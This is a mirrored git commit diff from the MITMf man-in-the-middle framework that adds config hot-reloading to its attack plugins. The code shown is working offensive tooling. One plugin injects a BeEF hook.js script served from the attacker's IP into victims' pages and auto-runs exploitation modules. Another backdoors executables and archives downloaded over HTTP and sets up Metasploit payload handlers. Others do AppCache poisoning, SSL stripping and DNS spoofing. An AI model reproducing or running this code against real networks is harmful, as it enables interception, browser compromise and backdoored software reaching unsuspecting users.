mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
initial dynamic config support
added configwatcher.py
This commit is contained in:
parent
96eb4e2fa6
commit
663f38e732
26 changed files with 1187 additions and 281 deletions
|
@ -29,6 +29,7 @@ import sys
|
|||
from plugins.plugin import Plugin
|
||||
from datetime import date
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
|
@ -47,18 +48,16 @@ class AppCachePlugin(Plugin):
|
|||
|
||||
self.urlMonitor.setAppCachePoisoning()
|
||||
|
||||
try:
|
||||
self.config = options.configfile['AppCachePoison']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e))
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
|
||||
self.config = ConfigWatcher.getInstance().getConfig()['AppCachePoison'] # so we reload the config on each request
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.config:
|
||||
regexp = self.config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
|
|
|
@ -24,16 +24,15 @@ import json
|
|||
import threading
|
||||
|
||||
from core.beefapi.beefapi import BeefAPI
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
from time import sleep
|
||||
|
||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||
requests_log.setLevel(logging.WARNING)
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class BeefAutorun(Inject, Plugin):
|
||||
class BeefAutorun(Inject, Plugin, ConfigWatcher):
|
||||
name = "BeEFAutorun"
|
||||
optname = "beefauto"
|
||||
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
||||
|
@ -43,95 +42,90 @@ class BeefAutorun(Inject, Plugin):
|
|||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ip_address = options.ip_address
|
||||
|
||||
try:
|
||||
beefconfig = options.configfile['MITMf']['BeEF']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing BeEF options in config file: " + str(e))
|
||||
|
||||
try:
|
||||
userconfig = options.configfile['BeEFAutorun']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))
|
||||
|
||||
self.Mode = userconfig['mode']
|
||||
self.All_modules = userconfig["ALL"]
|
||||
self.Targeted_modules = userconfig["targets"]
|
||||
self.options = options
|
||||
self.ip_address = SystemConfig.getIP(options.interface)
|
||||
|
||||
Inject.initialize(self, options)
|
||||
self.black_ips = []
|
||||
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
|
||||
|
||||
beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
sys.exit("[-] Error logging in to BeEF!")
|
||||
|
||||
self.tree_output.append("Mode: %s" % self.Mode)
|
||||
self.onConfigChange()
|
||||
|
||||
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
|
||||
t = threading.Thread(name="autorun", target=self.autorun, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def autorun(self, beef):
|
||||
def onConfigChange(self):
|
||||
|
||||
beefconfig = self.config['MITMf']['BeEF']
|
||||
|
||||
self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])
|
||||
|
||||
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
sys.exit("[-] Error logging in to BeEF!")
|
||||
|
||||
self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
|
||||
|
||||
def autorun(self):
|
||||
already_ran = []
|
||||
already_hooked = []
|
||||
|
||||
while True:
|
||||
sessions = beef.sessions_online()
|
||||
mode = self.config['BeEFAutorun']['mode']
|
||||
sessions = self.beef.sessions_online()
|
||||
if (sessions is not None and len(sessions) > 0):
|
||||
for session in sessions:
|
||||
|
||||
if session not in already_hooked:
|
||||
info = beef.hook_info(session)
|
||||
mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
|
||||
info = self.beef.hook_info(session)
|
||||
mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os']))
|
||||
already_hooked.append(session)
|
||||
self.black_ips.append(str(info['ip']))
|
||||
|
||||
if self.Mode == 'oneshot':
|
||||
if mode == 'oneshot':
|
||||
if session not in already_ran:
|
||||
self.execModules(session, beef)
|
||||
self.execModules(session)
|
||||
already_ran.append(session)
|
||||
|
||||
elif self.Mode == 'loop':
|
||||
self.execModules(session, beef)
|
||||
elif mode == 'loop':
|
||||
self.execModules(session)
|
||||
sleep(10)
|
||||
|
||||
else:
|
||||
sleep(1)
|
||||
|
||||
def execModules(self, session, beef):
|
||||
session_info = beef.hook_info(session)
|
||||
session_ip = session_info['ip']
|
||||
hook_browser = session_info['name']
|
||||
hook_os = session_info['os']
|
||||
def execModules(self, session):
|
||||
session_info = self.beef.hook_info(session)
|
||||
session_ip = session_info['ip']
|
||||
hook_browser = session_info['name']
|
||||
hook_os = session_info['os']
|
||||
all_modules = self.config['BeEFAutorun']["ALL"]
|
||||
targeted_modules = self.config['BeEFAutorun']["targets"]
|
||||
|
||||
if len(self.All_modules) > 0:
|
||||
mitmf_logger.info("%s >> sending generic modules" % session_ip)
|
||||
for module, options in self.All_modules.iteritems():
|
||||
mod_id = beef.module_id(module)
|
||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||
if len(all_modules) > 0:
|
||||
mitmf_logger.info("{} >> sending generic modules".format(session_ip))
|
||||
for module, options in all_modules.iteritems():
|
||||
mod_id = self.beef.module_id(module)
|
||||
resp = self.beef.module_run(session, mod_id, json.loads(options))
|
||||
if resp["success"] == 'true':
|
||||
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
|
||||
else:
|
||||
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
|
||||
sleep(0.5)
|
||||
|
||||
mitmf_logger.info("%s >> sending targeted modules" % session_ip)
|
||||
for os in self.Targeted_modules:
|
||||
mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
|
||||
for os in targeted_modules:
|
||||
if (os in hook_os) or (os == hook_os):
|
||||
browsers = self.Targeted_modules[os]
|
||||
browsers = targeted_modules[os]
|
||||
if len(browsers) > 0:
|
||||
for browser in browsers:
|
||||
if browser == hook_browser:
|
||||
modules = self.Targeted_modules[os][browser]
|
||||
modules = targeted_modules[os][browser]
|
||||
if len(modules) > 0:
|
||||
for module, options in modules.iteritems():
|
||||
mod_id = beef.module_id(module)
|
||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||
mod_id = self.beef.module_id(module)
|
||||
resp = self.beef.module_run(session, mod_id, json.loads(options))
|
||||
if resp["success"] == 'true':
|
||||
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
|
||||
else:
|
||||
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
|
||||
sleep(0.5)
|
||||
|
|
|
@ -54,7 +54,7 @@ class BrowserProfiler(Inject, Plugin):
|
|||
if self.dic_output['plugin_list'] > 0:
|
||||
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
|
||||
pretty_output = pformat(self.dic_output)
|
||||
mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||
mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output))
|
||||
|
||||
def get_payload(self):
|
||||
payload = """<script type="text/javascript">
|
||||
|
|
|
@ -63,18 +63,20 @@ import random
|
|||
import string
|
||||
import tarfile
|
||||
import multiprocessing
|
||||
import threading
|
||||
|
||||
from libs.bdfactory import pebin
|
||||
from libs.bdfactory import elfbin
|
||||
from libs.bdfactory import machobin
|
||||
from core.msfrpc import Msfrpc
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from plugins.plugin import Plugin
|
||||
from tempfile import mkstemp
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class FilePwn(Plugin):
|
||||
class FilePwn(Plugin, ConfigWatcher):
|
||||
name = "FilePwn"
|
||||
optname = "filepwn"
|
||||
desc = "Backdoor executables being sent over http using bdfactory"
|
||||
|
@ -110,21 +112,8 @@ class FilePwn(Plugin):
|
|||
#NOT USED NOW
|
||||
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
#Metasploit options
|
||||
msfcfg = options.configfile['MITMf']['Metasploit']
|
||||
rpcip = msfcfg['rpcip']
|
||||
rpcpass = msfcfg['rpcpass']
|
||||
|
||||
try:
|
||||
self.msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
||||
self.msf.login('msf', rpcpass)
|
||||
version = self.msf.call('core.version')['version']
|
||||
self.tree_output.append("Connected to Metasploit v%s" % version)
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
#FilePwn options
|
||||
self.userConfig = options.configfile['FilePwn']
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
|
@ -138,9 +127,21 @@ class FilePwn(Plugin):
|
|||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
|
||||
self.tree_output.append("Setting up Metasploit payload handlers")
|
||||
#Metasploit options
|
||||
msfcfg = self.config['MITMf']['Metasploit']
|
||||
rpcip = msfcfg['rpcip']
|
||||
rpcpass = msfcfg['rpcpass']
|
||||
|
||||
try:
|
||||
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
||||
msf.login('msf', rpcpass)
|
||||
version = msf.call('core.version')['version']
|
||||
self.tree_output.append("Connected to Metasploit v{}".format(version))
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
jobs = self.msf.call('job.list')
|
||||
self.tree_output.append("Setting up Metasploit payload handlers")
|
||||
jobs = msf.call('job.list')
|
||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||
cmd = "use exploit/multi/handler\n"
|
||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||
|
@ -150,19 +151,22 @@ class FilePwn(Plugin):
|
|||
|
||||
if jobs:
|
||||
for pid, name in jobs.iteritems():
|
||||
info = self.msf.call('job.info', [pid])
|
||||
info = msf.call('job.info', [pid])
|
||||
if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
|
||||
#Create a virtual console
|
||||
c_id = self.msf.call('console.create')['id']
|
||||
c_id = msf.call('console.create')['id']
|
||||
|
||||
#write the cmd to the newly created console
|
||||
self.msf.call('console.write', [c_id, cmd])
|
||||
msf.call('console.write', [c_id, cmd])
|
||||
else:
|
||||
#Create a virtual console
|
||||
c_id = self.msf.call('console.create')['id']
|
||||
c_id = msf.call('console.create')['id']
|
||||
|
||||
#write the cmd to the newly created console
|
||||
self.msf.call('console.write', [c_id, cmd])
|
||||
msf.call('console.write', [c_id, cmd])
|
||||
|
||||
def onConfigChange(self):
|
||||
self.initialize(self.options)
|
||||
|
||||
def convert_to_Bool(self, aString):
|
||||
if aString.lower() == 'true':
|
||||
|
@ -351,7 +355,7 @@ class FilePwn(Plugin):
|
|||
|
||||
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
|
||||
print "[!] TarFile over allowed size"
|
||||
mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
|
||||
mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
|
@ -423,7 +427,7 @@ class FilePwn(Plugin):
|
|||
|
||||
if keywordCheck is True:
|
||||
print "[!] Tar blacklist enforced!"
|
||||
mitmf_logger.info('Tar blacklist enforced on %s', info.name)
|
||||
mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name))
|
||||
continue
|
||||
|
||||
# Try to patch
|
||||
|
@ -444,14 +448,14 @@ class FilePwn(Plugin):
|
|||
info.size = os.stat(file2).st_size
|
||||
with open(file2, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
|
||||
mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
with open(tmp.name, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
|
||||
mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name))
|
||||
if patchCount == int(self.userConfig['TAR']['patchCount']):
|
||||
mitmf_logger.info("Met Tar config patchCount limit.")
|
||||
|
||||
|
@ -479,7 +483,7 @@ class FilePwn(Plugin):
|
|||
|
||||
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
|
||||
print "[!] ZipFile over allowed size"
|
||||
mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
|
||||
mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile)))
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
|
||||
|
@ -536,7 +540,7 @@ class FilePwn(Plugin):
|
|||
|
||||
if keywordCheck is True:
|
||||
print "[!] Zip blacklist enforced!"
|
||||
mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
|
||||
mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename))
|
||||
continue
|
||||
|
||||
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
|
||||
|
@ -546,12 +550,12 @@ class FilePwn(Plugin):
|
|||
file2 = "backdoored/" + os.path.basename(info.filename)
|
||||
print "[*] Patching complete, adding to zip file."
|
||||
shutil.copyfile(file2, tmpDir + '/' + info.filename)
|
||||
mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
|
||||
mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
|
||||
mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename))
|
||||
|
||||
print '-' * 10
|
||||
|
||||
|
@ -595,7 +599,7 @@ class FilePwn(Plugin):
|
|||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
|
||||
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
|
||||
|
||||
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
||||
process.daemon = True
|
||||
|
@ -604,13 +608,13 @@ class FilePwn(Plugin):
|
|||
bd_zip = self.patched.get()
|
||||
|
||||
if bd_zip:
|
||||
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_zip}
|
||||
|
||||
else:
|
||||
for tartype in ['gz','bz','tar']:
|
||||
if self.bytes_have_format(data, tartype):
|
||||
mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
|
||||
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
|
||||
|
||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||
process.daemon = True
|
||||
|
@ -619,14 +623,14 @@ class FilePwn(Plugin):
|
|||
bd_tar = self.patched.get()
|
||||
|
||||
if bd_tar:
|
||||
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_tar}
|
||||
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||
if self.bytes_have_format(data, bintype):
|
||||
mitmf_logger.info("%s Detected supported binary type!" % client_ip)
|
||||
mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
@ -640,9 +644,9 @@ class FilePwn(Plugin):
|
|||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_binary}
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
|
||||
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
|
||||
return {'request': request, 'data': data}
|
|
@ -19,12 +19,15 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr
|
||||
|
||||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
|
||||
|
@ -42,7 +45,7 @@ class Inject(CacheKill, Plugin):
|
|||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.proxyip = options.ip_address
|
||||
self.proxyip = SystemConfig.getIP(options.interface)
|
||||
self.html_src = options.html_url
|
||||
self.js_src = options.js_url
|
||||
self.rate_limit = options.rate_limit
|
||||
|
|
|
@ -24,7 +24,7 @@ import logging
|
|||
from plugins.plugin import Plugin
|
||||
from core.utils import IpTables
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from libs.dnschef.dnschef import DNSChef
|
||||
from core.dnschef.dnschef import DNSChef
|
||||
|
||||
class HSTSbypass(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
|
|
|
@ -25,7 +25,7 @@ from core.utils import SystemConfig, IpTables
|
|||
from core.sslstrip.DnsCache import DnsCache
|
||||
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
|
||||
from plugins.plugin import Plugin
|
||||
from libs.dnschef.dnschef import DNSChef
|
||||
from core.dnschef.dnschef import DNSChef
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
|
|
|
@ -11,10 +11,6 @@ class Plugin(object):
|
|||
implements = []
|
||||
has_opts = False
|
||||
|
||||
def __init__(self):
|
||||
'''Called on plugin instantiation. Probably don't need this'''
|
||||
pass
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue